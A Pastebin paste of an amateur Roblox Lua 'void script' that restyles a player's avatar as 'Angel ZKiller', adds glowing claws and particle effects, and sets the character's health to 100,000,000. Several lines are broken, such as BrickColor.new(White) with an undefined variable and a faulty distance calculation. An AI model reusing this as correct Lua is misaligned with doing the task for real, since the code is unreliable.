Advertisement
ZKiller

ANGEL ZKILLER CLAWS! [VOID SCRIPT]

Aug 21st, 2017
251
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 245.61 KB | None | 0 0
  1. paly = game.Players.LocalPlayer
  2. Player = game:GetService("Players").LocalPlayer
  3. p = game.Players.LocalPlayer
  4. char = paly.Character
  5. vt = Vector3.new
  6. rarm = char["Right Arm"]
  7. hed = char.Head
  8. larm = char["Left Arm"]
  9. rleg = char["Right Leg"]
  10. lleg = char["Left Leg"]
  11. local maincolor = BrickColor.random()
  12. local effolemode = false
  13. local wrathmode = false
  14. local noobmode = false
  15. local randomname = "???"
  16. local randomnamefem = "???"
  17. local randomchanger = 6
  18. if paly.Name == "BINO2002" then
  19. randomchanger = 6
  20. end
  21. if randomchanger == 6 then
  22. randomnamefem = "Angel ZKiller"
  23. effolemode = true
  24. maincolor = BrickColor.new(White)
  25.  
  26. local dec2 = Instance.new("Decal", char)
  27. dec2.Face = "Front"
  28. dec2.Texture = "rbxassetid://381091841"
  29. dec2.Parent = char.Head
  30. char.Head.face.Transparency = 1
  31. char.Head.face.Texture = "http://www.roblox.com/asset/?id=0"
  32.  
  33. for i,v in pairs(char:children()) do
  34. if v:IsA("Hat") then
  35. v:Destroy()
  36. end
  37. end
  38. for i,v in pairs(char:children()) do
  39. if v:IsA("Accessory") then
  40. v:Destroy()
  41. end
  42. end
  43. for i,v in pairs(char:children()) do
  44. if v:IsA("Hair") then
  45. v:Destroy()
  46. end
  47. end
  48. for i,v in pairs(char:children()) do
  49. if v:IsA("Shirt") then
  50. v:Destroy()
  51. end
  52. end
  53. for i,v in pairs(char:children()) do
  54. if v:IsA("Pants") then
  55. v:Destroy()
  56. end
  57. end
  58.  
  59. local eye12 = Instance.new("Part")
  60. eye12.Parent = char
  61. eye12.Size = Vector3.new(0.2, 0.2, 0.2)
  62. eye12.Archivable = true
  63. eye12.Transparency = 0
  64. eye12.Shape = "Ball"
  65. eye12.BrickColor = maincolor
  66. eye12.Material = "Neon"
  67. eye12.CanCollide = false
  68. local mesh2 = Instance.new("SpecialMesh",eye12)
  69. mesh2.MeshType = "Sphere"
  70. mesh2.Scale = Vector3.new(0.75, 1, 1)
  71. local weld1en2 = Instance.new("Weld")
  72. weld1en2.Parent = hed
  73. weld1en2.Part0 = hed
  74. weld1en2.Part1 = eye12
  75. weld1en2.C1 = CFrame.new(0.115, -0.19, 0.5475)
  76. local eye1 = Instance.new("Part")
  77. eye1.Parent = char
  78. eye1.Size = Vector3.new(0.2, 0.2, 0.2)
  79. eye1.Archivable = true
  80. eye1.Transparency = 0
  81. eye1.Shape = "Ball"
  82. eye1.BrickColor = maincolor
  83. eye1.Material = "Neon"
  84. eye1.CanCollide = false
  85. local mesh = Instance.new("SpecialMesh",eye1)
  86. mesh.MeshType = "Sphere"
  87. mesh.Scale = Vector3.new(0.75, 1, 1)
  88. local weld1en = Instance.new("Weld")
  89. weld1en.Parent = hed
  90. weld1en.Part0 = hed
  91. weld1en.Part1 = eye1
  92. weld1en.C1 = CFrame.new(-0.115, -0.19, 0.5475)
  93.  
  94. local BC = char["Body Colors"]
  95. BC.HeadColor = BrickColor.new("White")
  96. BC.LeftArmColor = BrickColor.new("White")
  97. BC.LeftLegColor = BrickColor.new("White")
  98. BC.RightArmColor = BrickColor.new("White")
  99. BC.RightLegColor = BrickColor.new("White")
  100. BC.TorsoColor = BrickColor.new("White")
  101.  
  102. ypcall(function()
  103. shirt = Instance.new("Shirt", char)
  104. shirt.Name = "Shirt"
  105. pants = Instance.new("Pants", char)
  106. pants.Name = "Pants"
  107. char.Shirt.ShirtTemplate = "rbxassetid://221020034"
  108. char.Pants.PantsTemplate = "rbxassetid://129458425"
  109. end)
  110. Reaper2 = Instance.new("Model")
  111. Reaper2.Parent = Player.Character
  112. Reaper2.Name = "Reaper2"
  113. rh2 = Instance.new("Part")
  114. rh2.Parent = Reaper2
  115. rh2.BrickColor = maincolor
  116. rh2.Locked = true
  117. rh2.CanCollide = false
  118. mesh2 = Instance.new("SpecialMesh")
  119. rh2.formFactor = "Symmetric"
  120. mesh2.MeshType = "FileMesh"
  121. mesh2.MeshId = "http://www.roblox.com/asset/?id=167554431"
  122. mesh2.Parent = rh2
  123. local weld2 = Instance.new("Weld")
  124. weld2.Parent = rh2
  125. rh2.Transparency = 0
  126. weld2.Part0 = rh2
  127. weld2.Part1 = Player.Character.Head
  128. weld2.C0 = CFrame.new(-0.05, -0.05, -0.1025)*CFrame.Angles(0, 0, 0)
  129.  
  130. Reaper3 = Instance.new("Model")
  131. Reaper3.Parent = Player.Character
  132. Reaper3.Name = "Reaper3"
  133. rh3 = Instance.new("Part")
  134. rh3.Parent = Reaper3
  135. rh3.BrickColor = BrickColor.new("Baby blue")
  136. rh3.Locked = true
  137. rh3.CanCollide = false
  138. mesh3 = Instance.new("SpecialMesh")
  139. rh3.formFactor = "Symmetric"
  140. mesh3.MeshType = "FileMesh"
  141. mesh3.MeshId = "http://www.roblox.com/asset/?id=101176852"
  142. mesh3.Parent = rh3
  143. local weld3 = Instance.new("Weld")
  144. weld3.Parent = rh3
  145. rh3.Transparency = 0
  146. weld3.Part0 = rh3
  147. weld3.Part1 = Player.Character.Head
  148. weld3.C0 = CFrame.new(0, -1.23, 0)*CFrame.Angles(0, 0, 0)
  149.  
  150. local orbe = Instance.new("Part")
  151. orbe.Parent = char
  152. orbe.Size = Vector3.new(0.2, 0.2, 0.2)
  153. orbe.Archivable = true
  154. orbe.Transparency = 1
  155. orbe.BrickColor = maincolor
  156. orbe.Material = "Neon"
  157. orbe.CanCollide = false
  158. local weld1e = Instance.new("Weld")
  159. weld1e.Parent = rleg
  160. weld1e.Part0 = rleg
  161. weld1e.Part1 = orbe
  162. weld1e.C1 = CFrame.new(0, 1.125, 0)
  163. local pt1e = NumberSequenceKeypoint.new(0,0.85,0)
  164. local pt2e = NumberSequenceKeypoint.new(1,0,0)
  165. local effectoe = Instance.new("ParticleEmitter",orbe)
  166. effectoe.LightEmission = 1
  167. effectoe.Texture = "rbxasset://textures/particles/smoke_main.dds"
  168. effectoe.Color = ColorSequence.new(maincolor.Color)
  169. effectoe.Rate = 10000
  170. effectoe.Lifetime = NumberRange.new(1)
  171. effectoe.Size = NumberSequence.new({pt1e,pt2e})
  172. effectoe.Speed = NumberRange.new(0,0)
  173. effectoe.RotSpeed = NumberRange.new(100,100)
  174.  
  175. local orbze = Instance.new("Part")
  176. orbze.Parent = char
  177. orbze.Size = Vector3.new(0.2, 0.2, 0.2)
  178. orbze.Archivable = true
  179. orbze.Transparency = 1
  180. orbze.BrickColor = maincolor
  181. orbze.Material = "Neon"
  182. orbze.CanCollide = false
  183. local weldz1 = Instance.new("Weld")
  184. weldz1.Parent = lleg
  185. weldz1.Part0 = lleg
  186. weldz1.Part1 = orbze
  187. weldz1.C1 = CFrame.new(0, 1.125, 0)
  188. local effectone = Instance.new("ParticleEmitter",orbze)
  189. effectone.LightEmission = 1
  190. effectone.Texture = "rbxasset://textures/particles/smoke_main.dds"
  191. effectone.Color = ColorSequence.new(maincolor.Color)
  192. effectone.Rate = 10000
  193. effectone.Lifetime = NumberRange.new(1)
  194. effectone.Size = NumberSequence.new({pt1e,pt2e})
  195. effectone.Speed = NumberRange.new(0,0)
  196. effectone.RotSpeed = NumberRange.new(100,100)
  197. end
  198.  
  199. if effolemode == true then
  200. maincolor = BrickColor.new("White")
  201. end
  202.  
  203. local orb = Instance.new("Part")
  204. orb.Parent = char
  205. orb.Size = Vector3.new(1, 1, 1)
  206. orb.Archivable = true
  207. orb.Transparency = 1
  208. orb.BrickColor = BrickColor.new("Bright orange")
  209. orb.Material = "Wood"
  210. orb.CanCollide = false
  211. local weld1 = Instance.new("Weld")
  212. weld1.Parent = rarm
  213. weld1.Part0 = rarm
  214. weld1.Part1 = orb
  215. weld1.C1 = CFrame.new(0, 1.125, 0)
  216. local pt1 = NumberSequenceKeypoint.new(0,0.475,0)
  217. local pt2 = NumberSequenceKeypoint.new(1,0,0)
  218. local effecto = Instance.new("ParticleEmitter",orb)
  219. effecto.LightEmission = 1
  220. effecto.Texture = "rbxasset://textures/particles/smoke_main.dds"
  221. effecto.Color = ColorSequence.new(maincolor.Color)
  222. effecto.Rate = 10000
  223. effecto.Lifetime = NumberRange.new(1)
  224. effecto.Size = NumberSequence.new({pt1,pt2})
  225. effecto.Speed = NumberRange.new(0,0)
  226. effecto.RotSpeed = NumberRange.new(100,100)
  227.  
  228. local orbz = Instance.new("Part")
  229. orbz.Parent = char
  230. orbz.Size = Vector3.new(1, 1, 1)
  231. orbz.Archivable = true
  232. orbz.Transparency = 1
  233. orbz.BrickColor = BrickColor.new("Bright orange")
  234. orbz.Material = "Wood"
  235. orbz.CanCollide = false
  236. local weldz1 = Instance.new("Weld")
  237. weldz1.Parent = larm
  238. weldz1.Part0 = larm
  239. weldz1.Part1 = orbz
  240. weldz1.C1 = CFrame.new(0, 1.125, 0)
  241. local effecton = Instance.new("ParticleEmitter",orbz)
  242. effecton.LightEmission = 1
  243. effecton.Texture = "rbxasset://textures/particles/smoke_main.dds"
  244. effecton.Color = ColorSequence.new(maincolor.Color)
  245. effecton.Rate = 10000
  246. effecton.Lifetime = NumberRange.new(1)
  247. effecton.Size = NumberSequence.new({pt1,pt2})
  248. effecton.Speed = NumberRange.new(0,0)
  249. effecton.RotSpeed = NumberRange.new(100,100)
  250.  
  251.  
  252. p = game.Players.LocalPlayer
  253. char = p.Character
  254. torso = char.Torso
  255. neck = char.Torso.Neck
  256. hum = char.Humanoid
  257. hum.MaxHealth = 100000000
  258. wait()
  259. hum.Health =hum.MaxHealth
  260.  
  261. CV="Hot pink"
  262.  
  263. local txt = Instance.new("BillboardGui", char)
  264. txt.Adornee = char .Head
  265. txt.Name = "_status"
  266. txt.Size = UDim2.new(2, 0, 1.2, 0)
  267. txt.StudsOffset = Vector3.new(-9, 8, 0)
  268. local text = Instance.new("TextLabel", txt)
  269. text.Size = UDim2.new(10, 0, 7, 0)
  270. text.FontSize = "Size24"
  271. text.TextScaled = true
  272. text.TextTransparency = 0
  273. text.BackgroundTransparency = 1
  274. text.TextTransparency = 0
  275. text.TextStrokeTransparency = 0
  276. text.Font = "SciFi"
  277. text.TextStrokeColor3 = Color3.new(0,0,0)
  278.  
  279. v=Instance.new("Part")
  280. v.Name = "ColorBrick"
  281. v.Parent=p.Character
  282. v.FormFactor="Symmetric"
  283. v.Anchored=true
  284. v.CanCollide=false
  285. v.BottomSurface="Smooth"
  286. v.TopSurface="Smooth"
  287. v.Size=Vector3.new(10,5,3)
  288. v.Transparency=1
  289. v.CFrame=char.Torso.CFrame
  290. v.BrickColor=BrickColor.new(CV)
  291. v.Transparency=1
  292. text.TextColor3 = BrickColor.new("White").Color
  293. v.Shape="Block"
  294. text.Text = "Angel ZKiller"
  295.  
  296.  
  297. euler = CFrame.fromEulerAnglesXYZ
  298. angles = CFrame.Angles
  299. local player = "LocalPlayer"
  300. local Character = game.Players[player].Character
  301. it = Instance.new
  302. vt = Vector3.new
  303. bc = BrickColor.new
  304. cf = CFrame.new
  305. mr = math.rad
  306. local Weapon = {}
  307. local p = game.Players.LocalPlayer
  308. local char = p.Character
  309. local mouse = p:GetMouse()
  310. local larm = char["Left Arm"]
  311. local rarm = char["Right Arm"]
  312. local lleg = char["Left Leg"]
  313. local rleg = char["Right Leg"]
  314. local hed = char.Head
  315. local torso = char.Torso
  316. local hum = char.Humanoid
  317. local cam = game.Workspace.CurrentCamera
  318. local root = char.HumanoidRootPart
  319. local deb = false
  320. local shot = 0
  321.  
  322. local debris=game:service"Debris"
  323. local l = game:GetService("Lighting")
  324. local rs = game:GetService("RunService").RenderStepped
  325. ptz = {0.8, 0.85, 0.9, 0.95, 1, 1.05, 1.1}
  326. math.randomseed(os.time())
  327. for i,v in pairs (hed:GetChildren()) do
  328. if v:IsA("Sound") then
  329. v:Destroy()
  330. end
  331. end
  332. ---------------------------------------------------- BeastClaw
  333. NoOutline = function(Part)
  334. Part.TopSurface = 10
  335. end
  336. part = function(formfactor, parent, reflectance, transparency, brickcolor, name, size)
  337. local fp = it("Part")
  338. fp.formFactor = formfactor
  339. fp.Parent = parent
  340. fp.Reflectance = reflectance
  341. fp.Transparency = transparency
  342. fp.CanCollide = false
  343. fp.Locked = true
  344. fp.BrickColor = brickcolor
  345. fp.Name = name
  346. fp.Size = size
  347. NoOutline(fp)
  348. fp.Material = "Neon"
  349. fp:BreakJoints()
  350. return fp
  351. end
  352. mesh = function(Mesh, part, meshtype, meshid, offset, scale)
  353. local mesh = it(Mesh)
  354. mesh.Parent = part
  355. if Mesh == "SpecialMesh" then
  356. mesh.MeshType = meshtype
  357. if meshid ~= "nil" then
  358. mesh.MeshId = "http://www.roblox.com/asset/?id=" .. meshid
  359. end
  360. end
  361. mesh.Offset = offset
  362. mesh.Scale = scale
  363. return mesh
  364. end
  365. weld = function(parent, part0, part1, c0)
  366. local weld = it("Motor6D")
  367. weld.Parent = parent
  368. weld.Part0 = part0
  369. weld.Part1 = part1
  370. weld.C0 = c0
  371. return weld
  372. end
  373. gui = function(GuiType, parent, text, backtrans, backcol, pos, size, image)
  374. local gui = it(GuiType)
  375. gui.Parent = parent
  376. gui.BackgroundTransparency = backtrans
  377. gui.BackgroundColor3 = backcol
  378. gui.SizeConstraint = "RelativeXY"
  379. gui.Position = pos
  380. gui.Size = size
  381. if GuiType == "TextLabel" then
  382. gui.Text = text
  383. gui.TextXAlignment = "Center"
  384. gui.TextYAlignment = "Center"
  385. gui.Font = "SourceSans"
  386. gui.FontSize = "Size14"
  387. gui.TextWrapped = false
  388. gui.TextStrokeTransparency = 0
  389. gui.TextColor = TorsoColor
  390. else
  391. if GuiType == "ImageLabel" then
  392. gui.Image = "rbxassetid://" .. image
  393. gui.ImageColor3 = backcol
  394. end
  395. end
  396. return gui
  397. end
  398. local handle = nil
  399. AesthPart = function(model, wldpar, reflec, trans, col, name, neon, meshh, mshtype, mshtxt, x1, y1, z1, ceef)
  400. prt = part(3, model, reflec, trans, BrickColor.new(col), name, vt())
  401. prt.Material = neon
  402. msh = mesh(meshh, prt, mshtype, mshtxt, vt(0, 0, 0), vt(x1, y1, z1))
  403. wld = weld(handle, prt, wldpar, ceef)
  404. v = it("NumberValue", prt)
  405. v.Value = trans
  406. v.Name = "MainTransparency"
  407. return prt, msh, wld
  408. end
  409. AesthPartHand = function(model, wldpar, reflec, trans, col, name, neon, meshh, mshtype, mshtxt, x1, y1, z1, ceef, wldpare)
  410. prt = part(3, model, reflec, trans, BrickColor.new(col), name, vt())
  411. prt.Material = neon
  412. msh = mesh(meshh, prt, mshtype, mshtxt, vt(0, 0, 0), vt(x1, y1, z1))
  413. wld = weld(wldpare, prt, wldpar, ceef)
  414. v = it("NumberValue", prt)
  415. v.Value = trans
  416. v.Name = "MainTransparency"
  417. return prt, msh, wld
  418. end
  419. local modelzorzez = Instance.new("Model")
  420. modelzorzez.Parent = workspace.CurrentCamera
  421. modelzorzez.Name = "none"
  422. local Torso = Character.Torso
  423. local LeftArm = Character["Left Arm"]
  424. local RightArm = Character["Right Arm"]
  425. local LeftLeg = Character["Left Leg"]
  426. local RightLeg = Character["Right Leg"]
  427. local Head = Character.Head
  428. local RootPart = Character.HumanoidRootPart
  429. handle = part(3, modelzorzez, 0, 1, BrickColor.new("Baby blue"), "Handle", vt())
  430. local handlewld = weld(handle, handle, Torso, euler(0, 0, -0.8) * cf(0, 0, -0.7))
  431.  
  432. -- SAHHHH DUUDEEE
  433.  
  434.  
  435.  
  436.  
  437. -- params : ...
  438.  
  439. wait(0.016666666666667)
  440. script.Archivable = false
  441. Effects = {}
  442. local Player = game.Players.localPlayer
  443. local Character = Player.Character
  444. local Humanoid = Character.Humanoid
  445. local mouse = Player:GetMouse()
  446. local m = Instance.new("Model", Character)
  447. m.Name = "WeaponModel"
  448. local effect = Instance.new("Model", Character)
  449. effect.Name = "effecsfsafzx"
  450. local demon = Instance.new("Model", Character)
  451. demon.Name = "demdemd"
  452. local LeftArm = Character["Left Arm"]
  453. local RightArm = Character["Right Arm"]
  454. local LeftLeg = Character["Left Leg"]
  455. local RightLeg = Character["Right Leg"]
  456. local do2target = nil
  457. local Head = Character.Head
  458. local Torso = Character.Torso
  459. TorsoColor = BrickColor.new("White")
  460. z = Instance.new("Sound", Torso)
  461. z.SoundId = "rbxassetid://935501955" -- Put Music ID Here.
  462. z.Looped = true
  463. z.Pitch = 0
  464. z.Volume = 0
  465. wait(.1)
  466. z:Play()
  467. local cam = game.Workspace.CurrentCamera
  468. local RootPart = Character.HumanoidRootPart
  469. local RootJoint = RootPart.RootJoint
  470. local equipped = false
  471. local attack = false
  472. local Anim = "Idle"
  473. local idle = 0
  474. local attacktype = 1
  475. local Torsovelocity = RootPart.Velocity * Vector3.new(1, 0, 1).magnitude
  476. local velocity = RootPart.Velocity.y
  477. local sine = 0
  478. local change = 1
  479. local mana = 0
  480. local it = Instance.new
  481. vt = Vector3.new
  482. local grabbed = false
  483. local cf = CFrame.new
  484. local mr = math.rad
  485. local angles = CFrame.Angles
  486. local ud = UDim2.new
  487. local c3 = Color3.new
  488. clerp = function(a, b, t)
  489.  
  490. return a:lerp(b, t)
  491. end
  492.  
  493. local RbxUtility = LoadLibrary("RbxUtility")
  494. local Create = RbxUtility.Create
  495. RemoveOutlines = function(part)
  496.  
  497. part.TopSurface = 10
  498. end
  499.  
  500. CreatePart = function(Parent, Material, Reflectance, Transparency, BColor, Name, Size)
  501.  
  502. local Part = Create("Part")({Parent = Parent, Reflectance = Reflectance, Transparency = Transparency, CanCollide = false, Locked = true, BrickColor = BrickColor.new(tostring(BColor)), Name = Name, Size = Size, Material = Material})
  503. RemoveOutlines(Part)
  504. return Part
  505. end
  506.  
  507. CreateMesh = function(Mesh, Part, MeshType, MeshId, OffSet, Scale)
  508.  
  509. local Msh = Create(Mesh)({Parent = Part, Offset = OffSet, Scale = Scale})
  510. if Mesh == "SpecialMesh" then
  511. Msh.MeshType = MeshType
  512. Msh.MeshId = MeshId
  513. end
  514. return Msh
  515. end
  516.  
  517. local co1 = 3
  518. local co2 = 10
  519. local co3 = 15
  520. local co4 = 30
  521. local cooldown1 = 0
  522. local cooldown2 = 0
  523. local cooldown3 = 0
  524. local cooldown4 = 0
  525. local maxEnergy = 100
  526. local Energy = 0
  527. local skill1stam = 1000
  528. local skill2stam = 1000
  529. local skill3stam = 1000
  530. local skill4stam = 1000
  531. local recovermana = 5
  532. local skillcolorscheme = BrickColor.new("White").Color
  533. local scrn = Instance.new("ScreenGui", Player.PlayerGui)
  534. makeframe = function(par, trans, pos, size, color)
  535.  
  536. local frame = Instance.new("Frame", par)
  537. frame.BackgroundTransparency = trans
  538. frame.BorderSizePixel = 0
  539. frame.Position = pos
  540. frame.Size = size
  541. frame.BackgroundColor3 = color
  542. return frame
  543. end
  544.  
  545. makelabel = function(par, text)
  546.  
  547. local label = Instance.new("TextLabel", par)
  548. label.BackgroundTransparency = 1
  549. label.Size = UDim2.new(1, 0, 1, 0)
  550. label.Position = UDim2.new(0, 0, 0, 0)
  551. label.TextColor3 = Color3.new(255, 255, 255)
  552. label.TextStrokeTransparency = 0
  553. label.FontSize = Enum.FontSize.Size32
  554. label.Font = Enum.Font.SourceSansLight
  555. label.BorderSizePixel = 0
  556. label.TextScaled = true
  557. label.Text = text
  558. end
  559.  
  560. ArtificialHB = Instance.new("BindableEvent", script)
  561. ArtificialHB.Name = "Heartbeat"
  562. script:WaitForChild("Heartbeat")
  563. frame = 0.033333333333333
  564. tf = 0
  565. allowframeloss = false
  566. tossremainder = false
  567. lastframe = tick()
  568. script.Heartbeat:Fire()
  569. game:GetService("RunService").Heartbeat:connect(function(s, p)
  570.  
  571. tf = tf + s
  572. if frame <= tf then
  573. if allowframeloss then
  574. script.Heartbeat:Fire()
  575. lastframe = tick()
  576. else
  577. for i = 1, math.floor(tf / frame) do
  578. script.Heartbeat:Fire()
  579. end
  580. lastframe = tick()
  581. end
  582. if tossremainder then
  583. tf = 0
  584. else
  585. tf = tf - frame * math.floor(tf / frame)
  586. end
  587. end
  588. end
  589. )
  590. swait = function(num)
  591.  
  592. if num == 0 or num == nil then
  593. ArtificialHB.Event:wait()
  594. else
  595. for i = 0, num do
  596. ArtificialHB.Event:wait()
  597. end
  598. end
  599. end
  600.  
  601. CreateWeld = function(Parent, Part0, Part1, C0, C1)
  602.  
  603. local Weld = Create("Weld")({Parent = Parent, Part0 = Part0, Part1 = Part1, C0 = C0, C1 = C1})
  604. return Weld
  605. end
  606.  
  607. rayCast = function(Position, Direction, Range, Ignore)
  608.  
  609. return game:service("Workspace"):FindPartOnRay(Ray.new(Position, Direction.unit * (Range or 999.999)), Ignore)
  610. end
  611.  
  612. CreateSound = function(id, par, vol, pit)
  613.  
  614. coroutine.resume(coroutine.create(function()
  615.  
  616. local sou = Instance.new("Sound", par or workspace)
  617. sou.Volume = vol
  618. sou.Pitch = pit or 1
  619. sou.SoundId = "rbxassetid://935501955"
  620. swait()
  621. sou:play()
  622. game:GetService("Debris"):AddItem(sou, 6)
  623. end
  624. ))
  625. end
  626.  
  627. local getclosest = function(obj, distance)
  628.  
  629. local last, lastx = distance + 1, nil
  630. for i,v in pairs(workspace:GetChildren()) do
  631. if v:IsA("Model") and v ~= Character and v:findFirstChild("Humanoid") and v:findFirstChild("Torso") and v:findFirstChild("Humanoid").Health > 0 then
  632. local t = v.Torso
  633. local dist = t.Position - obj.Position.magnitude
  634. if dist <= distance and dist < last then
  635. last = dist
  636. lastx = v
  637. end
  638. end
  639. end
  640. return lastx
  641. end
  642.  
  643. CreatePart2 = function(Parent, Material, Reflectance, Transparency, PartType, BColor, Name, Size)
  644.  
  645. if PartType == "Part" then
  646. local Part = Create("Part")({Parent = Parent, Reflectance = Reflectance, Transparency = Transparency, CanCollide = false, Locked = true, BrickColor = BrickColor.new(tostring(BColor)), Name = Name, Size = Size, Material = Material})
  647. RemoveOutlines(Part)
  648. return Part
  649. else
  650. do
  651. if PartType == "WedgePart" then
  652. local Part = Create("WedgePart")({Parent = Parent, Reflectance = Reflectance, Transparency = Transparency, CanCollide = false, Locked = true, BrickColor = BrickColor.new(tostring(BColor)), Name = Name, Size = Size, Material = Material})
  653. RemoveOutlines(Part)
  654. return Part
  655. end
  656. end
  657. end
  658. end
  659.  
  660. Handle = CreatePart(m, Enum.Material.SmoothPlastic, 0, 1, "Dirt brown", "Handle", Vector3.new(1, 2, 1))
  661. HandleWeld = CreateWeld(m, Character["Right Arm"], Handle, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  662. Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1))
  663. ClawWeld = CreateWeld(m, Handle, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0142869996, -0.598956585, -0.401195407, 0, 0, 1, 0.25881803, -0.965926111, 0, 0.965926111, 0.25881803, 0))
  664. CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(1, 0.709999979, 0.150000006))
  665. Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1))
  666. ClawWeld = CreateWeld(m, Handle, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.858075142, -0.276378155, -0.49209857, 0.353552133, -0.866025269, 0.353555113, 0.707108736, -9.03335206e-07, -0.707104981, 0.612371027, 0.500000358, 0.61237365))
  667. CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(1, 0.709999979, 0.100000001))
  668. Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1))
  669. ClawWeld = CreateWeld(m, Handle, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0142959999, -0.79026103, -0.577523232, 0, 0, 1, 0.0581610166, -0.998307228, 0, 0.998307228, 0.0581610166, 0))
  670. CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.400000006, 1, 0.100000001))
  671. Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1))
  672. ClawWeld = CreateWeld(m, Handle, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.857914209, 0.258751988, -0.512362957, 0.353553236, -0.866025567, -0.353553236, -0.707106471, 3.09715034e-07, -0.707107246, 0.612372994, 0.499999791, -0.6123721))
  673. CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(1, 0.709999979, 0.100000001))
  674. ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 0.200000003))
  675. ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.508293927, 0.581420183, 0.355297565, -1, 0, 0, 0, -0.694275975, -0.719708979, 0, -0.719708979, 0.694275975))
  676. CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.207726225, 0.473494887, 1))
  677. ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 0.200000003))
  678. ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.508293927, -0.605236769, -0.322324991, 1, 0, 0, 0, 0.719708979, -0.694275975, 0, 0.694275975, 0.719708979))
  679. CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.207726225, 0.473494887, 1))
  680. ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 0.200000003))
  681. ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.508293927, 0.0117408261, -0.729162693, 1, 0, 0, 0, -0.0252030101, -0.999682367, 0, 0.999682367, -0.0252030101))
  682. CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.208000004, 0.47299999, 0.47299999))
  683. ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 1.04200566))
  684. ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.123879015, -0.278857708, -0.00617899979, 0.965925336, -0.2588211, 0, 0.2588211, 0.965925336, 0, 0, 0, 1))
  685. CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.821169853, 0.388499111, 1.00999999))
  686. ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.445813209, 0.210449979, 1.04200566))
  687. ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.223450184, 0.0305250883, -0.00618699985, -0.25881803, 0.965926111, 0, -0.965926111, -0.25881803, 0, 0, 0, 1))
  688. CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 0.388499111, 1.00999999))
  689. ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 1.04200566))
  690. ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.407537222, 0.0663063526, -0.00618699985, 0.707106352, -0.707107365, 0, 0.707107365, 0.707106352, 0, 0, 0, 1))
  691. CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.821169853, 0.388499111, 1.00999999))
  692. ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.664211631, 0.210449979, 1.04200566))
  693. ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0544009209, 0.0101571083, -0.00617499975, 0.499998987, 0.866025984, 0, -0.866025984, 0.499998987, 0, 0, 0, 1))
  694. CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 0.388499111, 1.00999999))
